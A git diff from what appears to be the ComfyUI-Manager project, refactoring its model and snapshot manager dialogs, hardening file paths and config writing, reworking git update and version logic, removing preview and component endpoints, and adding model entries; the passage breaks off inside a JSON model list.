background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20width%3D%22100%25%22%20height%3D%22100%25%22%20pointer-events%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23888%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%20stroke-width%3D%222%22%20d%3D%22m21%2021-4.486-4.494M19%2010.5a8.5%208.5%200%201%201-17%200%208.5%208.5%200%200%201%2017%200%22%2F%3E%3C%2Fsvg%3E");
border: 1px solid var(--border-color);
border-radius: 6px;
outline-color: transparent;
}
.cmm-manager-status {
@@ -148,6 +168,10 @@
color: white;
}
.cmm-btn-install {
padding: 4px 8px;
}
.cmm-btn-download {
width: 18px;
height: 18px;
+29 -34
View File
@@ -9,39 +9,22 @@ import { api } from "../../scripts/api.js";
// https://cenfun.github.io/turbogrid/api.html
import TG from "./turbogrid.esm.js";
import { buildGuiFrameCustomHeader, createSettingsCombo } from "./comfyui-gui-builder.js";
loadCss("./model-manager.css");
const gridId = "model";
const pageHtml = `
<div class="cmm-manager-header">
<label>Filter
<select class="cmm-manager-filter"></select>
</label>
<label>Type
<select class="cmm-manager-type"></select>
</label>
<label>Base
<select class="cmm-manager-base"></select>
</label>
<input class="cmm-manager-keywords" type="search" placeholder="Search" />
<div class="cmm-manager-status"></div>
<div class="cmm-flex-auto"></div>
</div>
<div class="cmm-manager-grid"></div>
<div class="cmm-manager-selection"></div>
<div class="cmm-manager-message"></div>
<div class="cmm-manager-footer">
<button class="cmm-manager-back">
<svg class="arrow-icon" width="14" height="14" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M2 8H18M2 8L8 2M2 8L8 14" stroke="white" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
Back
</button>
<button class="cmm-manager-refresh">Refresh</button>
<button class="cmm-manager-stop">Stop</button>
<div class="cmm-flex-auto"></div>
<div class="cmm-manager cmm-manager-dark">
<div class="cmm-manager-grid"></div>
<div class="cmm-manager-selection"></div>
<div class="cmm-manager-message"></div>
<div class="cmm-manager-footer">
<button class="cmm-manager-refresh p-button p-component">Refresh</button>
<button class="cmm-manager-stop p-button p-component">Stop</button>
<div class="cmm-flex-auto"></div>
</div>
</div>
`;
@@ -64,11 +47,23 @@ export class ModelManager {
}
init() {
this.element = $el("div", {
parent: document.body,
className: "comfy-modal cmm-manager"
});
this.element.innerHTML = pageHtml;
const header = $el("div.cmm-manager-header", {}, [
createSettingsCombo("Filter", $el("select.cmm-manager-filter")),
createSettingsCombo("Type", $el("select.cmm-manager-type")),
createSettingsCombo("Base", $el("select.cmm-manager-base")),
$el("input.cmm-manager-keywords.p-inputtext.p-component", { type: "search", placeholder: "Search" }),
$el("div.cmm-manager-status"),
$el("div.cmm-flex-auto")
]);
const frame = buildGuiFrameCustomHeader(
'cmm-manager-dialog', // dialog id
header, // custom header element
pageHtml, // dialog content element
this
); // send this so we can attach close functions
this.element = frame;
this.initFilter();
this.bindEvents();
this.initGrid();
@@ -347,7 +342,7 @@ export class ModelManager {
if (installed === "True") {
return `<div class="cmm-icon-passed">${icons.passed}</div>`;
}
return `<button class="cmm-btn-install" mode="install">Install</button>`;
return `<button class="cmm-btn-install p-button p-component" mode="install">Install</button>`;
}
}, {
id: 'url',
@@ -420,7 +415,7 @@ export class ModelManager {
}
this.selectedModels = selectedList;
this.showSelection(`<span>Selected <b>${selectedList.length}</b> models <button class="cmm-btn-install" mode="install">Install</button>`);
this.showSelection(`<span>Selected <b>${selectedList.length}</b> models <button class="cmm-btn-install p-button p-component" mode="install">Install</button>`);
}
focusInstall(item) {
+65
View File
@@ -0,0 +1,65 @@
.snapshot-manager {
--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
z-index: 1099;
width: 80vw;
height: 75vh;
min-height: 30em;
display: flex;
flex-direction: column;
gap: 10px;
color: var(--fg-color);
font-family: arial, sans-serif;
text-underline-offset: 3px;
outline: none;
margin: calc(var(--spacing)*2);
}
.snapshot-manager button {
width: auto;
position: relative;
overflow: hidden;
font-size: 16px;
color: var(--input-text);
background-color: var(--comfy-input-bg);
border-color: var(--border-color);
margin: 0;
min-width: 100px;
padding: 4px 8px;
}
.snapshot-manager .snapshot-restore-btn {
background-color: #00158f !important;
border-color: #2025b9 !important;
color: white !important;
}
.snapshot-manager .snapshot-remove-btn {
background-color: #970000 !important;
border-color: #be2127 !important;
color: white !important;
}
.snapshot-manager button:hover {
filter: brightness(125%);
}
.snapshot-manager .data-btns {
display: flex;
flex-direction: column;
gap: calc(var(--spacing)*2);
padding: calc(var(--spacing)*2);
align-items: center;
justify-content: center;
height: 100%;
}
.snapshot-footer {
display: flex;
flex-wrap: wrap;
gap: 10px;
align-items: center;
}
.snapshot-manager .cn-flex-auto {
flex: auto;
}
+36 -25
View File
@@ -1,8 +1,10 @@
import { app } from "../../scripts/app.js";
import { api } from "../../scripts/api.js"
import { ComfyDialog, $el } from "../../scripts/ui.js";
import { manager_instance, rebootAPI, show_message } from "./common.js";
import { manager_instance, rebootAPI, show_message, loadCss } from "./common.js";
import { buildGuiFrame } from "./comfyui-gui-builder.js";
loadCss("./snapshot.css");
async function restore_snapshot(target) {
if(SnapshotManager.instance) {
@@ -27,7 +29,7 @@ async function restore_snapshot(target) {
}
finally {
await SnapshotManager.instance.invalidateControl();
SnapshotManager.instance.updateMessage("<BR>To apply the snapshot, please <button id='cm-reboot-button2' class='cm-small-button'>RESTART</button> ComfyUI. And refresh browser.", 'cm-reboot-button2');
SnapshotManager.instance.updateMessage("<BR>To apply the snapshot, please <button id='cm-reboot-button2' class='p-button p-component'>RESTART</button> ComfyUI. And refresh browser.", 'cm-reboot-button2');
}
}
}
@@ -88,6 +90,8 @@ export class SnapshotManager extends ComfyDialog {
message_box = null;
data = null;
content = $el("div.snapshot-manager");
clear() {
this.restore_buttons = [];
this.message_box = null;
@@ -96,9 +100,18 @@ export class SnapshotManager extends ComfyDialog {
constructor(app, manager_dialog) {
super();
this.manager_dialog = manager_dialog;
// this.manager_dialog = manager_dialog;
this.search_keyword = '';
this.element = $el("div.comfy-modal", { parent: document.body }, []);
const frame = buildGuiFrame(
'snapshot-manager-dialog', // dialog id
'Snapshot Manager', // title
'i.mdi.mdi-puzzle', // icon class
this.content, // dialog content element
this
); // send this so we can attach close functions
this.element = frame;
}
async remove_item() {
@@ -109,7 +122,7 @@ export class SnapshotManager extends ComfyDialog {
createControls() {
return [
$el("button.cm-small-button", {
$el("button.p-button.p-component", {
type: "button",
textContent: "Close",
onclick: () => { this.close(); }
@@ -132,8 +145,8 @@ export class SnapshotManager extends ComfyDialog {
this.clear();
this.data = (await getSnapshotList()).items;
while (this.element.children.length) {
this.element.removeChild(this.element.children[0]);
while (this.content.children.length) {
this.content.removeChild(this.content.children[0]);
}
await this.createGrid();
@@ -204,20 +217,21 @@ export class SnapshotManager extends ComfyDialog {
data2.innerHTML = `&nbsp;${data}`;
var data_button = document.createElement('td');
data_button.style.textAlign = "center";
data_button.className = "data-btns";
var restoreBtn = document.createElement('button');
restoreBtn.className = "snapshot-restore-btn p-button p-component";
restoreBtn.innerHTML = 'Restore';
restoreBtn.style.width = "100px";
restoreBtn.style.backgroundColor = 'blue';
restoreBtn.addEventListener('click', function() {
restore_snapshot(data);
});
var removeBtn = document.createElement('button');
removeBtn.className = "snapshot-remove-btn p-button p-component";
removeBtn.innerHTML = 'Remove';
removeBtn.style.width = "100px";
removeBtn.style.backgroundColor = 'red';
removeBtn.addEventListener('click', function() {
remove_snapshot(data);
@@ -241,13 +255,14 @@ export class SnapshotManager extends ComfyDialog {
let self = this;
const panel = document.createElement('div');
panel.style.width = "100%";
panel.style.height = "100%";
panel.appendChild(grid);
function handleResize() {
const parentHeight = self.element.clientHeight;
const gridHeight = parentHeight - 200;
grid.style.height = gridHeight + "px";
// grid.style.height = gridHeight + "px";
}
window.addEventListener("resize", handleResize);
@@ -256,25 +271,17 @@ export class SnapshotManager extends ComfyDialog {
grid.style.width = "100%";
grid.style.height = "100%";
grid.style.overflowY = "scroll";
this.element.style.height = "85%";
this.element.style.width = "80%";
this.element.appendChild(panel);
this.content.appendChild(panel);
handleResize();
}
async createBottomControls() {
var close_button = document.createElement("button");
close_button.className = "cm-small-button";
close_button.innerHTML = "Close";
close_button.onclick = () => { this.close(); }
close_button.style.display = "inline-block";
var save_button = document.createElement("button");
save_button.className = "cm-small-button";
save_button.className = "p-button p-component";
save_button.innerHTML = "Save snapshot";
save_button.onclick = () => { save_current_snapshot(); }
save_button.style.display = "inline-block";
save_button.style.horizontalAlign = "right";
save_button.style.width = "170px";
@@ -282,15 +289,19 @@ export class SnapshotManager extends ComfyDialog {
this.message_box.style.height = '60px';
this.message_box.style.verticalAlign = 'middle';
this.element.appendChild(this.message_box);
this.element.appendChild(close_button);
this.element.appendChild(save_button);
const footer = $el("div.snapshot-footer");
const spacer = $el("div.cn-flex-auto");
footer.appendChild(spacer);
footer.appendChild(save_button);
this.content.appendChild(this.message_box);
this.content.appendChild(footer);
}
async show() {
try {
this.invalidateControl();
this.element.style.display = "block";
this.element.style.display = "flex";
this.element.style.zIndex = 1099;
}
catch(exception) {
+249 -64
View File
@@ -15,6 +15,7 @@ import platform
from datetime import datetime
import git
from comfyui_manager.common.timestamp_utils import get_timestamp_for_path, get_backup_branch_name
from git.remote import RemoteProgress
from urllib.parse import urlparse
from tqdm.auto import tqdm
@@ -41,13 +42,15 @@ from ..common.enums import NetworkMode, SecurityLevel, DBMode
from ..common import context
version_code = [4, 0, 3]
version_code = [4, 1]
version_str = f"V{version_code[0]}.{version_code[1]}" + (f'.{version_code[2]}' if len(version_code) > 2 else '')
DEFAULT_CHANNEL = "https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main"
DEFAULT_CHANNEL_LEGACY = "https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main"
# SSH git URL pattern (e.g., git@github.com:user/repo.git)
SSH_URL_PATTERN = re.compile(r"^(.+@|ssh://).+:.+$")
default_custom_nodes_path = None
@@ -1132,6 +1135,71 @@ class UnifiedManager:
return result
def purge_node_state(self, node_id: str):
"""
Remove a node's directory and clean ALL internal dictionaries regardless of categorization.
Used by reinstall to guarantee clean state before re-installation.
"""
if 'comfyui-manager' in node_id.lower():
return
custom_nodes_dir = os.path.normcase(os.path.realpath(get_default_custom_nodes_path()))
paths_to_remove = set()
def _add_path(raw_path):
"""Normalize and validate a path before adding to removal set."""
if not raw_path:
return
resolved = os.path.normcase(os.path.realpath(raw_path))
if resolved == custom_nodes_dir:
logging.warning(f"[ComfyUI-Manager] purge_node_state: refusing to delete custom_nodes root: {raw_path}")
return
try:
if os.path.commonpath([custom_nodes_dir, resolved]) != custom_nodes_dir:
logging.warning(f"[ComfyUI-Manager] purge_node_state: path escapes custom_nodes scope, skipping: {raw_path}")
return
except ValueError:
logging.warning(f"[ComfyUI-Manager] purge_node_state: cannot verify containment, skipping: {raw_path}")
return
paths_to_remove.add(resolved)
# Collect paths from all dictionaries
entry = self.unknown_active_nodes.get(node_id)
if entry is not None:
_add_path(entry[1])
entry = self.active_nodes.get(node_id)
if entry is not None:
_add_path(entry[1])
entry = self.unknown_inactive_nodes.get(node_id)
if entry is not None:
_add_path(entry[1])
fullpath = self.nightly_inactive_nodes.get(node_id)
if fullpath is not None:
_add_path(fullpath)
ver_map = self.cnr_inactive_nodes.get(node_id)
if ver_map is not None:
for key, fp in ver_map.items():
_add_path(fp)
# Convention-based fallback path
_add_path(os.path.join(get_default_custom_nodes_path(), node_id))
# Remove all validated paths, then always clean dictionaries
try:
for path in paths_to_remove:
if os.path.exists(path):
try_rmtree(node_id, path)
finally:
self.unknown_active_nodes.pop(node_id, None)
self.active_nodes.pop(node_id, None)
self.unknown_inactive_nodes.pop(node_id, None)
self.nightly_inactive_nodes.pop(node_id, None)
self.cnr_inactive_nodes.pop(node_id, None)
def unified_uninstall(self, node_id: str, is_unknown: bool):
"""
Remove whole installed custom nodes including inactive nodes
@@ -1408,8 +1476,18 @@ class UnifiedManager:
else: # nightly
repo_url = the_node['repository']
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
# Fallback for nightly only: use repository URL from CNR map
# when node is registered in CNR but absent from nightly manifest
if version_spec == 'nightly':
cnr_fallback = self.cnr_map.get(node_id)
if cnr_fallback is not None and cnr_fallback.get('repository'):
repo_url = cnr_fallback['repository']
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
else:
result = ManagedResult('install')
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
if self.is_enabled(node_id, version_spec):
return ManagedResult('skip').with_target(f"{node_id}@{version_spec}")
@@ -1576,9 +1654,6 @@ class ManagerFuncs:
def __init__(self):
pass
def get_current_preview_method(self):
return "none"
def run_script(self, cmd, cwd='.'):
if len(cmd) > 0 and cmd[0].startswith("#"):
print(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
@@ -1596,14 +1671,12 @@ def write_config():
config = configparser.ConfigParser(strict=False)
config['default'] = {
'preview_method': manager_funcs.get_current_preview_method(),
'git_exe': get_config()['git_exe'],
'use_uv': get_config()['use_uv'],
'channel_url': get_config()['channel_url'],
'share_option': get_config()['share_option'],
'bypass_ssl': get_config()['bypass_ssl'],
"file_logging": get_config()['file_logging'],
'component_policy': get_config()['component_policy'],
'update_policy': get_config()['update_policy'],
'windows_selector_event_loop_policy': get_config()['windows_selector_event_loop_policy'],
'model_download_by_agent': get_config()['model_download_by_agent'],
@@ -1614,6 +1687,11 @@ def write_config():
'db_mode': get_config()['db_mode'],
}
# Sanitize all string values to prevent CRLF injection attacks
for key, value in config['default'].items():
if isinstance(value, str):
config['default'][key] = value.replace('\r', '').replace('\n', '').replace('\x00', '')
directory = os.path.dirname(context.manager_config_path)
if not os.path.exists(directory):
os.makedirs(directory)
@@ -1636,7 +1714,6 @@ def read_config():
return {
'http_channel_enabled': get_bool('http_channel_enabled', False),
'preview_method': default_conf.get('preview_method', manager_funcs.get_current_preview_method()).lower(),
'git_exe': default_conf.get('git_exe', ''),
'use_uv': get_bool('use_uv', True),
'channel_url': default_conf.get('channel_url', DEFAULT_CHANNEL),
@@ -1644,7 +1721,6 @@ def read_config():
'share_option': default_conf.get('share_option', 'all').lower(),
'bypass_ssl': get_bool('bypass_ssl', False),
'file_logging': get_bool('file_logging', True),
'component_policy': default_conf.get('component_policy', 'workflow').lower(),
'update_policy': default_conf.get('update_policy', 'stable-comfyui').lower(),
'windows_selector_event_loop_policy': get_bool('windows_selector_event_loop_policy', False),
'model_download_by_agent': get_bool('model_download_by_agent', False),
@@ -1661,7 +1737,6 @@ def read_config():
return {
'http_channel_enabled': False,
'preview_method': manager_funcs.get_current_preview_method(),
'git_exe': '',
'use_uv': True,
'channel_url': DEFAULT_CHANNEL,
@@ -1669,7 +1744,6 @@ def read_config():
'share_option': 'all',
'bypass_ssl': manager_util.bypass_ssl,
'file_logging': True,
'component_policy': 'workflow',
'update_policy': 'stable-comfyui',
'windows_selector_event_loop_policy': False,
'model_download_by_agent': False,
@@ -1759,11 +1833,34 @@ def reserve_script(repo_path, install_cmds):
def try_rmtree(title, fullpath):
# Tier 1: retry with delay for transient Windows file locks
for attempt in range(3):
try:
shutil.rmtree(fullpath)
return
except OSError:
if attempt < 2:
time.sleep(1)
# Tier 2: rename into .disabled/.trash/ so scanner ignores it
trash_dir = os.path.join(os.path.dirname(fullpath), '.disabled', '.trash')
os.makedirs(trash_dir, exist_ok=True)
trash = os.path.join(trash_dir, os.path.basename(fullpath) + f'_{uuid.uuid4().hex[:8]}')
try:
shutil.rmtree(fullpath)
except Exception as e:
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.\nEXCEPTION: {e}")
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
os.rename(fullpath, trash)
shutil.rmtree(trash, ignore_errors=True)
if not os.path.exists(trash):
return
# Rename succeeded but delete failed — schedule trash path for lazy delete
logging.warning(f"[ComfyUI-Manager] Renamed '{fullpath}' to '{trash}' but could not delete; scheduled for restart.")
reserve_script(title, ["#LAZY-DELETE-NODEPACK", trash])
return
except OSError:
pass
# Tier 3: lazy delete on restart (ComfyUI GUI fallback)
logging.warning(f"[ComfyUI-Manager] An error occurred while deleting '{fullpath}', so it has been scheduled for deletion upon restart.")
reserve_script(title, ["#LAZY-DELETE-NODEPACK", fullpath])
def try_install_script(url, repo_path, install_cmd, instant_execution=False):
@@ -1913,6 +2010,27 @@ def execute_install_script(url, repo_path, lazy_mode=False, instant_execution=Fa
return True
def install_manager_requirements(repo_path):
"""
Install packages from manager_requirements.txt if it exists.
This is specifically for ComfyUI's manager_requirements.txt.
"""
manager_requirements_path = os.path.join(repo_path, "manager_requirements.txt")
if not os.path.exists(manager_requirements_path):
return
logging.info("[ComfyUI-Manager] Installing manager_requirements.txt")
with open(manager_requirements_path, "r") as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
if '#' in line:
line = line.split('#')[0].strip()
if line:
install_cmd = manager_util.make_pip_cmd(["install", line])
subprocess.run(install_cmd)
def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=False):
"""
@@ -1991,7 +2109,15 @@ def git_repo_update_check_with(path, do_fetch=False, do_update=False, no_deps=Fa
return False, True
try:
remote.pull()
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
backup_name = get_backup_branch_name(repo)
repo.create_head(backup_name)
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
repo.git.submodule('update', '--init', '--recursive')
new_commit_hash = repo.head.commit.hexsha
@@ -2048,16 +2174,15 @@ class GitProgress(RemoteProgress):
def is_valid_url(url):
try:
# Check for HTTP/HTTPS URL format
result = urlparse(url)
if all([result.scheme, result.netloc]):
return True
finally:
# Check for SSH git URL format
pattern = re.compile(r"^(.+@|ssh://).+:.+$")
if pattern.match(url):
return True
# Check for HTTP/HTTPS URL format
result = urlparse(url)
if result.scheme and result.netloc:
return True
# Check for SSH git URL format
if SSH_URL_PATTERN.match(url):
return True
return False
@@ -2146,9 +2271,17 @@ def git_pull(path):
current_branch = repo.active_branch
remote_name = current_branch.tracking_branch().remote_name
remote = repo.remote(name=remote_name)
branch_name = current_branch.name
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
backup_name = get_backup_branch_name(repo)
repo.create_head(backup_name)
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
remote.pull()
repo.git.submodule('update', '--init', '--recursive')
repo.close()
@@ -2416,22 +2549,23 @@ def update_to_stable_comfyui(repo_path):
logging.error('\t'+branch.name)
return "fail", None
versions, current_tag, _ = get_comfyui_versions(repo)
if len(versions) == 0 or (len(versions) == 1 and versions[0] == 'nightly'):
versions, current_tag, latest_tag = get_comfyui_versions(repo)
if latest_tag is None:
logging.info("[ComfyUI-Manager] Unable to update to the stable ComfyUI version.")
return "fail", None
if versions[0] == 'nightly':
latest_tag = versions[1]
else:
latest_tag = versions[0]
if current_tag == latest_tag:
tag_ref = next((t for t in repo.tags if t.name == latest_tag), None)
if tag_ref is None:
logging.info(f"[ComfyUI-Manager] Unable to locate tag '{latest_tag}' in repository.")
return "fail", None
if repo.head.commit == tag_ref.commit:
return "skip", None
else:
logging.info(f"[ComfyUI-Manager] Updating ComfyUI: {current_tag} -> {latest_tag}")
repo.git.checkout(latest_tag)
repo.git.checkout(tag_ref.name)
execute_install_script("ComfyUI", repo_path, instant_execution=False, no_deps=False)
return 'updated', latest_tag
except Exception:
traceback.print_exc()
@@ -2563,9 +2697,13 @@ def check_state_of_git_node_pack_single(item, do_fetch=False, do_update_check=Tr
def get_installed_pip_packages():
# extract pip package infos
cmd = manager_util.make_pip_cmd(['freeze'])
pips = subprocess.check_output(cmd, text=True).split('\n')
try:
# extract pip package infos
cmd = manager_util.make_pip_cmd(['freeze'])
pips = subprocess.check_output(cmd, text=True).split('\n')
except Exception as e:
logging.warning("[ComfyUI-Manager] Could not enumerate pip packages for snapshot: %s", e)
return {}
res = {}
for x in pips:
@@ -2657,9 +2795,7 @@ async def get_current_snapshot(custom_nodes_only = False):
async def save_snapshot_with_postfix(postfix, path=None, custom_nodes_only = False):
if path is None:
now = datetime.now()
date_time_format = now.strftime("%Y-%m-%d_%H-%M-%S")
date_time_format = get_timestamp_for_path()
file_name = f"{date_time_format}_{postfix}"
path = os.path.join(context.manager_snapshot_path, f"{file_name}.json")
@@ -3250,36 +3386,85 @@ async def restore_snapshot(snapshot_path, git_helper_extras=None):
def get_comfyui_versions(repo=None):
if repo is None:
repo = git.Repo(context.comfy_path)
repo = repo or git.Repo(context.comfy_path)
remote_name = None
try:
remote = get_remote_name(repo)
repo.remotes[remote].fetch()
remote_name = get_remote_name(repo)
repo.remotes[remote_name].fetch()
except Exception:
logging.error("[ComfyUI-Manager] Failed to fetch ComfyUI")
versions = [x.name for x in repo.tags if x.name.startswith('v')]
def parse_semver(tag_name):
match = re.match(r'^v(\d+)\.(\d+)\.(\d+)$', tag_name)
return tuple(int(x) for x in match.groups()) if match else None
# nearest tag
versions = sorted(versions, key=lambda v: repo.git.log('-1', '--format=%ct', v), reverse=True)
versions = versions[:4]
def normalize_describe(tag_name):
if not tag_name:
return None
base = tag_name.split('-', 1)[0]
return base if parse_semver(base) else None
current_tag = repo.git.describe('--tags')
# Collect semver tags and sort descending (highest first)
semver_tags = []
for tag in repo.tags:
semver = parse_semver(tag.name)
if semver:
semver_tags.append((semver, tag.name))
semver_tags.sort(key=lambda x: x[0], reverse=True)
semver_tags = [name for _, name in semver_tags]
if current_tag not in versions:
versions = sorted(versions + [current_tag], key=lambda v: repo.git.log('-1', '--format=%ct', v), reverse=True)
versions = versions[:4]
latest_tag = semver_tags[0] if semver_tags else None
main_branch = repo.heads.master
latest_commit = main_branch.commit
latest_tag = repo.git.describe('--tags', latest_commit.hexsha)
try:
described = repo.git.describe('--tags')
except Exception:
described = ''
if latest_tag != versions[0]:
versions.insert(0, 'nightly')
else:
versions[0] = 'nightly'
try:
exact_tag = repo.git.describe('--tags', '--exact-match')
except Exception:
exact_tag = ''
head_is_default = False
if remote_name:
try:
default_head_ref = repo.refs[f'{remote_name}/HEAD']
default_commit = default_head_ref.reference.commit
head_is_default = repo.head.commit == default_commit
except Exception:
# Fallback: compare directly with master branch
try:
if 'master' in [h.name for h in repo.heads]:
head_is_default = repo.head.commit == repo.heads.master.commit
except Exception:
head_is_default = False
nearest_semver = normalize_describe(described)
exact_semver = exact_tag if parse_semver(exact_tag) else None
if head_is_default and not exact_tag:
current_tag = 'nightly'
else:
current_tag = exact_tag or described or 'nightly'
# Prepare semver list for display: top 4 plus the current/nearest semver if missing
display_semver_tags = semver_tags[:4]
if exact_semver and exact_semver not in display_semver_tags:
display_semver_tags.append(exact_semver)
elif nearest_semver and nearest_semver not in display_semver_tags:
display_semver_tags.append(nearest_semver)
versions = ['nightly']
if current_tag and not exact_semver and current_tag not in versions and current_tag not in display_semver_tags:
versions.append(current_tag)
for tag in display_semver_tags:
if tag not in versions:
versions.append(tag)
versions = versions[:6]
return versions, current_tag, latest_tag
+21 -112
View File
@@ -61,7 +61,6 @@ def handle_stream(stream, prefix):
from comfy.cli_args import args
import latent_preview
def is_loopback(address):
import ipaddress
@@ -146,16 +145,6 @@ async def get_risky_level(files, pip_packages):
class ManagerFuncsInComfyUI(core.ManagerFuncs):
def get_current_preview_method(self):
if args.preview_method == latent_preview.LatentPreviewMethod.Auto:
return "auto"
elif args.preview_method == latent_preview.LatentPreviewMethod.Latent2RGB:
return "latent2rgb"
elif args.preview_method == latent_preview.LatentPreviewMethod.TAESD:
return "taesd"
else:
return "none"
def run_script(self, cmd, cwd='.'):
if len(cmd) > 0 and cmd[0].startswith("#"):
logging.error(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
@@ -188,25 +177,6 @@ local_db_custom_node_list = os.path.join(manager_util.comfyui_manager_path, "cus
local_db_extension_node_mappings = os.path.join(manager_util.comfyui_manager_path, "extension-node-map.json")
def set_preview_method(method):
if method == 'auto':
args.preview_method = latent_preview.LatentPreviewMethod.Auto
elif method == 'latent2rgb':
args.preview_method = latent_preview.LatentPreviewMethod.Latent2RGB
elif method == 'taesd':
args.preview_method = latent_preview.LatentPreviewMethod.TAESD
else:
args.preview_method = latent_preview.LatentPreviewMethod.NoPreviews
core.get_config()['preview_method'] = method
set_preview_method(core.get_config()['preview_method'])
def set_component_policy(mode):
core.get_config()['component_policy'] = mode
def set_update_policy(mode):
core.get_config()['update_policy'] = mode
@@ -561,6 +531,8 @@ async def task_worker():
logging.error("ComfyUI update failed")
return "fail"
elif res == "updated":
core.install_manager_requirements(repo_path)
if is_stable:
logging.info("ComfyUI is updated to latest stable version.")
return "success-stable-"+latest_tag
@@ -842,8 +814,13 @@ async def get_history_list(request):
@routes.get("/v2/manager/queue/history")
async def get_history(request):
try:
json_name = request.rel_url.query["id"]+'.json'
batch_path = os.path.join(context.manager_batch_history_path, json_name)
history_id = request.rel_url.query["id"]
# Prevent path traversal attacks
batch_path = manager_security.get_safe_file_path(history_id, context.manager_batch_history_path)
if batch_path is None:
logging.warning(f"[Security] Invalid history id rejected: {history_id}")
return web.Response(text="Invalid history id", status=400)
with open(batch_path, 'r', encoding='utf-8') as file:
json_str = file.read()
@@ -1187,7 +1164,12 @@ async def remove_snapshot(request):
try:
target = request.rel_url.query["target"]
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
# Prevent path traversal attacks
path = manager_security.get_safe_file_path(target, context.manager_snapshot_path)
if path is None:
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
return web.Response(text="Invalid target", status=400)
if os.path.exists(path):
os.remove(path)
@@ -1205,7 +1187,12 @@ async def restore_snapshot(request):
try:
target = request.rel_url.query["target"]
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
# Prevent path traversal attacks
path = manager_security.get_safe_file_path(target, context.manager_snapshot_path)
if path is None:
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
return web.Response(text="Invalid target", status=400)
if os.path.exists(path):
if not os.path.exists(context.manager_startup_script_path):
os.makedirs(context.manager_startup_script_path)
@@ -1723,17 +1710,6 @@ async def _install_model(json_data):
return web.Response(status=200)
@routes.get("/v2/manager/preview_method")
async def preview_method(request):
if "value" in request.rel_url.query:
set_preview_method(request.rel_url.query['value'])
core.write_config()
else:
return web.Response(text=core.manager_funcs.get_current_preview_method(), status=200)
return web.Response(status=200)
@routes.get("/v2/manager/db_mode")
async def db_mode(request):
if "value" in request.rel_url.query:
@@ -1745,18 +1721,6 @@ async def db_mode(request):
return web.Response(status=200)
@routes.get("/v2/manager/policy/component")
async def component_policy(request):
if "value" in request.rel_url.query:
set_component_policy(request.rel_url.query['value'])
core.write_config()
else:
return web.Response(text=core.get_config()['component_policy'], status=200)
return web.Response(status=200)
@routes.get("/v2/manager/policy/update")
async def update_policy(request):
if "value" in request.rel_url.query:
@@ -1895,61 +1859,6 @@ def restart(self):
return os.execv(sys.executable, cmds)
@routes.post("/v2/manager/component/save")
async def save_component(request):
try:
data = await request.json()
name = data['name']
workflow = data['workflow']
if not os.path.exists(context.manager_components_path):
os.mkdir(context.manager_components_path)
if 'packname' in workflow and workflow['packname'] != '':
sanitized_name = manager_util.sanitize_filename(workflow['packname']) + '.pack'
else:
sanitized_name = manager_util.sanitize_filename(name) + '.json'
filepath = os.path.join(context.manager_components_path, sanitized_name)
components = {}
if os.path.exists(filepath):
with open(filepath) as f:
components = json.load(f)
components[name] = workflow
with open(filepath, 'w') as f:
json.dump(components, f, indent=4, sort_keys=True)
return web.Response(text=filepath, status=200)
except Exception:
return web.Response(status=400)
@routes.post("/v2/manager/component/loads")
async def load_components(request):
if os.path.exists(context.manager_components_path):
try:
json_files = [f for f in os.listdir(context.manager_components_path) if f.endswith('.json')]
pack_files = [f for f in os.listdir(context.manager_components_path) if f.endswith('.pack')]
components = {}
for json_file in json_files + pack_files:
file_path = os.path.join(context.manager_components_path, json_file)
with open(file_path, 'r') as file:
try:
# When there is a conflict between the .pack and the .json, the pack takes precedence and overrides.
components.update(json.load(file))
except json.JSONDecodeError as e:
logging.error(f"[ComfyUI-Manager] Error decoding component file in file {json_file}: {e}")
return web.json_response(components)
except Exception as e:
logging.error(f"[ComfyUI-Manager] failed to load components\n{e}")
return web.Response(status=400)
else:
return web.json_response({})
@routes.get("/v2/manager/version")
async def get_version(request):
return web.Response(text=core.version_str, status=200)
+312 -1
View File
@@ -5355,6 +5355,317 @@
"filename": "LBM_relighting.safetensors",
"url": "https://huggingface.co/jasperai/LBM_relighting/resolve/main/model.safetensors",
"size": "5.02GB"
},
{
"name": "Qwen-Image VAE",
"type": "VAE",
"base": "Qwen-Image",
"save_path": "vae/qwen-image",
"description": "VAE model for Qwen-Image",
"reference": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI",
"filename": "qwen_image_vae.safetensors",
"url": "https://huggingface.co/Comfy-Org/Qwen-Image_ComfyUI/resolve/main/split_files/vae/qwen_image_vae.safetensors",
"size": "335MB"
},
{
